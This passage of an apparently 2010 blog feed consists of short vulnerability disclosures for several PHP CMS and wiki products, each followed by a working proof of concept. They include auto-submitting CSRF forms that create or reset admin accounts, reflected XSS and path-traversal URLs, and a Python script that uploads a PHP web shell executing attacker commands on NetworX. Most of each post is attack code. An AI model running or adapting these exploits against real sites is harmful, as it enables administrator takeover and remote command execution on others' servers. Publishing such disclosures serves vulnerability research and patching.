style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body&amp;gt;&lt;br /&gt;        &amp;lt;img src=&amp;quot;http://localhost/interphoto/mydesk.edit.php?action=updateuser&amp;amp;password=newpassword&amp;amp;repassword=newpassword&amp;amp;email=a%40a.com&amp;amp;userfullname=&amp;amp;usercompany=&amp;amp;useraddress=&amp;amp;userpostcode=&amp;amp;usertel=&amp;amp;userfax=&amp;amp;useronline=&amp;amp;userwebsite=&amp;quot; /&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-6998380121758370125?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/6998380121758370125/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/interphoto-230-cross-site-request.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6998380121758370125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/6998380121758370125'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/interphoto-230-cross-site-request.html' title='InterPhoto 2.3.0 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4585685678116547839</id><published>2010-07-11T08:00:00.001-07:00</published><updated>2010-07-11T08:00:26.479-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>chillyCMS 1.1.3 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in chillyCMS 1.1.3 can be exploited to create a new admin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body onload=&amp;quot;document.forms[0].submit()&amp;quot;&amp;gt;&lt;br /&gt;        &amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;http://localhost/chillyCMS/admin/usersgroups.site.php&amp;quot;&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user&amp;quot; value=&amp;quot;new_admin&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;name&amp;quot; value=&amp;quot;a&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;pw&amp;quot; value=&amp;quot;Password1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;pw2&amp;quot; value=&amp;quot;Password1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;email&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;gids%5B%5D&amp;quot; value=&amp;quot;1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;gids%5B%5D&amp;quot; value=&amp;quot;3&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;gids%5B%5D&amp;quot; value=&amp;quot;4&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;active&amp;quot; value=&amp;quot;1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;language&amp;quot; value=&amp;quot;en&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;getnewsletter&amp;quot; value=&amp;quot;1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;myaction&amp;quot; value=&amp;quot;new&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;action&amp;quot; value=&amp;quot;updateuser&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;id&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;        &amp;lt;/form&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4585685678116547839?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4585685678116547839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/chillycms-113-cross-site-request.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4585685678116547839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4585685678116547839'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/chillycms-113-cross-site-request.html' title='chillyCMS 1.1.3 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1952459340910941615</id><published>2010-07-11T07:57:00.000-07:00</published><updated>2010-07-11T07:58:18.951-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>ImpressCMS 1.2.1 Final Reflected Cross-site Scripting</title><content type='html'>A reflected cross-site scripting vulnerability in ImpressCMS 1.2.1 Final can be exploited to execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/impresscms/plugins/csstidy/css_optimiser.php?url=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1952459340910941615?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1952459340910941615/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/impresscms-121-final-reflected-cross.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1952459340910941615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1952459340910941615'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/impresscms-121-final-reflected-cross.html' title='ImpressCMS 1.2.1 Final Reflected Cross-site Scripting'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5244827240164117045</id><published>2010-07-11T07:55:00.001-07:00</published><updated>2010-07-11T07:55:36.685-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>RunCMS 2.1 Magpie RSS Module Reflected Cross-site Scripting</title><content type='html'>A reflected cross-site scripting vulnerability in RunCMS 2.1 Magpie RSS Module can be exploited to execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/runcms2.1/modules/headlines/magpierss/scripts/magpie_debug.php?url=%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5244827240164117045?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5244827240164117045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/runcms-21-magpie-rss-module-reflected.html#comment-form' title='140 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5244827240164117045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5244827240164117045'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/runcms-21-magpie-rss-module-reflected.html' title='RunCMS 2.1 Magpie RSS Module Reflected Cross-site Scripting'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>140</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-897639499460148334</id><published>2010-07-11T07:51:00.001-07:00</published><updated>2010-07-11T07:51:48.299-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>PeteWiki 0.6 Reflected XSS</title><content type='html'>A reflected cross-site scripting vulnerability in PeteWiki 0.6 can be exploited to execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/petewiki/index.php?show=%3Cscript%3Ealert(0)%3C/script%3E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-897639499460148334?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/897639499460148334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/petewiki-06-reflected-xss.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/897639499460148334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/897639499460148334'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/petewiki-06-reflected-xss.html' title='PeteWiki 0.6 Reflected XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5623616829964924713</id><published>2010-07-11T07:48:00.000-07:00</published><updated>2010-07-11T07:49:02.072-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflected XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Lion Wiki 3.2.3 Reflected Cross-site Scripting</title><content type='html'>A reflected cross-site scripting vulnerability in Lion Wiki 3.2.3 can be exploited to execute arbitrary JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/lionwiki/index.php?error=%3Cscript%3Ealert(0)%3C/script%3E&amp;amp;page=a&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5623616829964924713?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5623616829964924713/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/lion-wiki-323-reflected-cross-site.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5623616829964924713'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5623616829964924713'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/lion-wiki-323-reflected-cross-site.html' title='Lion Wiki 3.2.3 Reflected Cross-site Scripting'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4353881607192900427</id><published>2010-07-05T09:39:00.002-07:00</published><updated>2010-07-05T09:40:21.505-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Shell Upload'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Arbitrary File Upload'/><title type='text'>NetworX 1.03 Arbitrary Upload</title><content type='html'>An arbitrary upload vulnerability in NetworX 1.0.3 can be exploited to upload a PHP shell.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="py"&gt;import sys, socket&lt;br /&gt;host = 'localhost'&lt;br /&gt;path = '/networx'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;def upload_shell():&lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.connect((host, port))&lt;br /&gt;    s.settimeout(8)    &lt;br /&gt;&lt;br /&gt;    s.send('POST ' + path + '/upload.php?logout=shell.php HTTP/1.1\r\n'&lt;br /&gt;           'Host: ' + host + '\r\n'&lt;br /&gt;           'Proxy-Connection: keep-alive\r\n'&lt;br /&gt;           'User-Agent: x\r\n'&lt;br /&gt;           'Content-Length: 193\r\n'&lt;br /&gt;           'Cache-Control: max-age=0\r\n'&lt;br /&gt;           'Origin: null\r\n'&lt;br /&gt;           'Content-Type: multipart/form-data; boundary=----x\r\n'&lt;br /&gt;           'Accept: text/html\r\n'&lt;br /&gt;           'Accept-Encoding: gzip,deflate,sdch\r\n'&lt;br /&gt;           'Accept-Language: en-US,en;q=0.8\r\n'&lt;br /&gt;           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n'&lt;br /&gt;           '------x\r\n'&lt;br /&gt;           'Content-Disposition: form-data; name=&amp;quot;Filedata&amp;quot;; filename=&amp;quot;shell.php&amp;quot;\r\n'&lt;br /&gt;           'Content-Type: application/octet-stream\r\n\r\n'&lt;br /&gt;           '&amp;lt;?php echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot; + system($_GET[&amp;quot;CMD&amp;quot;]) + &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;; ?&amp;gt;\r\n'&lt;br /&gt;           '------x--\r\n\r\n')&lt;br /&gt;&lt;br /&gt;    resp = s.recv(8192)&lt;br /&gt;&lt;br /&gt;    http_ok = 'HTTP/1.1 200 OK'&lt;br /&gt;    &lt;br /&gt;    if http_ok not in resp[:len(http_ok)]:&lt;br /&gt;        print 'error uploading shell'&lt;br /&gt;        return&lt;br /&gt;    else: print 'shell uploaded'&lt;br /&gt;&lt;br /&gt;    shell_path = path + '/tmp/shell.php'&lt;br /&gt;&lt;br /&gt;    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\&lt;br /&gt;           'Host: ' + host + '\r\n\r\n')&lt;br /&gt;&lt;br /&gt;    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'        &lt;br /&gt;    else: print 'shell located at http://' + host + shell_path&lt;br /&gt;&lt;br /&gt;upload_shell()&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4353881607192900427?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4353881607192900427/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/networx-103-arbitrary-upload.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4353881607192900427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4353881607192900427'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/networx-103-arbitrary-upload.html' title='NetworX 1.03 Arbitrary Upload'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5934369788529953963</id><published>2010-07-05T09:39:00.001-07:00</published><updated>2010-07-05T09:39:51.519-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LFI'/><category scheme='http://www.blogger.com/atom/ns#' term='Local File Inclusion'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>nuBuilder 10.04.20 Local File Inclusion</title><content type='html'>A local file inclusion vulnerability in nuBuilder 10.04.20 can be exploited to include arbitrary files.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/nubuilder-10.04.20/productionnu2/fileuploader.php?dir=../../../../../../../../windows/system.ini&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5934369788529953963?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5934369788529953963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/nubuilder-100420-local-file-inclusion.html#comment-form' title='30 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5934369788529953963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5934369788529953963'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/nubuilder-100420-local-file-inclusion.html' title='nuBuilder 10.04.20 Local File Inclusion'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>30</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1078528763007867419</id><published>2010-07-05T09:38:00.002-07:00</published><updated>2010-07-05T09:39:17.758-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Lanius CMS 0.5.2 r1668 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in Lanius CMS 0.5.2 r1668 can be exploited to create a new admin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body onload=&amp;quot;document.forms[0].submit()&amp;quot;&amp;gt;&lt;br /&gt;        &amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;http://localhost/laniuscms/admin.php?com_option=user&amp;quot;&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;create&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_name&amp;quot; value=&amp;quot;a&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_user&amp;quot; value=&amp;quot;new_admin&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_email&amp;quot; value=&amp;quot;a@a.com&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_lang&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_tz&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_gid&amp;quot; value=&amp;quot;5&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_password&amp;quot; value=&amp;quot;Password1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_password1&amp;quot; value=&amp;quot;Password1&amp;quot; /&amp;gt;&lt;br /&gt;        &amp;lt;/form&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1078528763007867419?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1078528763007867419/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/lanius-cms-052-r1668-cross-site-request.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1078528763007867419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1078528763007867419'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/lanius-cms-052-r1668-cross-site-request.html' title='Lanius CMS 0.5.2 r1668 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-9218598212837870337</id><published>2010-07-05T09:38:00.001-07:00</published><updated>2010-07-05T09:38:36.528-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Log1 CMS 2.0 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in Log1 CMS 2.0 can be exploited to change the admin username and password.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body onload=&amp;quot;document.forms[0].submit()&amp;quot;&amp;gt;&lt;br /&gt;        &amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;http://localhost/log1cms2.0/admin/main.php?action=step1&amp;quot;&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;title&amp;quot; value=&amp;quot;log1 CMS&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;desc&amp;quot; value=&amp;quot;log1cms official page&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;key&amp;quot; value=&amp;quot;log1, log 1, CMS, content managment system&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;language&amp;quot; value=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;bgcolor&amp;quot; value=&amp;quot;#ffffff&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;textcolor&amp;quot; value=&amp;quot;#999999&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;specialcolor&amp;quot; value=&amp;quot;#000000&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;login&amp;quot; value=&amp;quot;admin&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;pass&amp;quot; value=&amp;quot;Password1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;isMd5&amp;quot; value=&amp;quot;1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;google_login&amp;quot; value=&amp;quot;gerard.caplain&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;email&amp;quot; value=&amp;quot;log_1[ at ]users.sourceforge.net&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;copyright&amp;quot; value=&amp;quot;2010 by log1&amp;quot; /&amp;gt;&lt;br /&gt;        &amp;lt;/form&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-9218598212837870337?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/9218598212837870337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/log1-cms-20-cross-site-request-forgery.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/9218598212837870337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/9218598212837870337'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/log1-cms-20-cross-site-request-forgery.html' title='Log1 CMS 2.0 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8624246653853285797</id><published>2010-07-05T09:37:00.003-07:00</published><updated>2010-07-05T09:37:56.829-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>ATutor 2.0 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in ATutor 2.0 can be exploited to create a new admin (new_admin/Password1).&lt;br /&gt;&lt;br /&gt;&lt;span 